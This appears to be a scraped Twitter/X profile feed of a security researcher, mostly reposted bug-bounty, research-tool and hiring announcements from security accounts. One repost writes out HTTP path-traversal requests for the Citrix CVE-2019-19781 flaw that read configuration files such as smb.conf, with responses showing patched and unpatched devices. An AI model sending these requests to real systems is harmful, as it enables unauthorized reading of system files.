Semyon Rozhkov

Agentic security and research at @SentinelOne / Exploring frontiers / Views of my own

[Semyon Rozhkov @sam_in_cube]

@reach_vb May I join?

[Dimitris Papailiopoulos @DimitrisPapail]

https://t.co/V7BSUMCcQB

[Semyon Rozhkov @sam_in_cube]

Build what learns

[Semyon Rozhkov @sam_in_cube]

You can just do things

[roon @tszzl]

do not, my friends, become addicted to cracked engineer culture. that way lies building mountains of cancerous abstractions that amount to nothing, yakshaving for decades until you are forgotten by history. follow instead your natural curiosities and your pursuit of divine glory

[Google VRP (Google Bug Hunters) @GoogleVRP]

Fancy some vuln reading/watching for the weekend? here's some awesome Cloud bugs!
https://t.co/vbUD6Up1pc

[Eduardo Vela @sirdarckcat]

Wanted to know what info is logged and what's not? Well, now you can know.

[Marco Balduzzi @embyte]

Congrats to Google Security for putting together this PoC of the "web version" of Spectre. Very happy to see how an academic research went into a real-world working demo. Congrats to the whole team, including our academic friends. Give it a try now https://t.co/oGIUapPUak @_tsuro

[James Kettle @albinowax]

JSON Interoperability vulnerabilities sound like they have some serious bug-bounty potential. Nice work once again by @theBumbleSec/@bishopfox
https://t.co/uHCGJAmt4f

[Google VRP (Google Bug Hunters) @GoogleVRP]

Game on!

[Nicolas Krassas @Dinosn]

Reverse Engineering Go Binaries with Ghidra
https://t.co/ot4v4VshUV

[Eduardo Vela @sirdarckcat]

Google Cloud Privilege Escalation Cheat Sheet https://t.co/tThuIIETn6

[Google VRP (Google Bug Hunters) @GoogleVRP]

New expansion touching the 3 things we love 😍 the most: CTF, VRP, and OSS https://t.co/v66f0uVkSD

[James Kettle @albinowax]

This is a great exploration of an under-appreciated technique by @RobinVerton. Alas it's a pain to detect black-box: that's the reason param miner has an option called "try -_ bypass".
https://t.co/Aw2taY4TsP

[Semyon Rozhkov @sam_in_cube]

@sirdarckcat So it's bughunterhunting time!

[Google VRP (Google Bug Hunters) @GoogleVRP]

Happy Monday! We are trying to be here for you in these unprecedented times. #stayhome #bughunter

https://t.co/eKHM7j3EYZ

[Doyensec @Doyensec]

As a part of our continuing security research journey, we started developing an internal tool to speed-up GraphQL security testing. We're now making it public! Read our latest blog post https://t.co/InHhYrOxEl or download from Github https://t.co/N7rfebmFB2 #GraphQL #AppSec #InQL

[Check Point Research @_CPResearch_]

We launched our new Malware Evasion Encyclopedia, which contains over 50 techniques used by various malwares to detect virtualized and sandboxed environments.

We hope this effort would allow for better understanding and analysis of modern attacks.

https://t.co/NVCp10sUiv

[Jas502n @jas502n]

CVE-2019-19781 Citrix path traversal base on vpns folder

Example:
GET /vpn/../vpns/services.html
GET /vpn/../vpns/cfg/smb.conf

patch >> HTTP/1.1 403 Forbidden
no patch >> HTTP/1.1 200 OK

[global]
encrypt passwords = yes
name resolve order = lmhosts wins host bcast

[James Kettle @albinowax]

We're looking to hire a web vulnerability researcher to join @garethheyes and I on the @Burp_Suite research team, and share their knowledge with the community via @WebSecAcademy

https://t.co/UVNEkdyZGB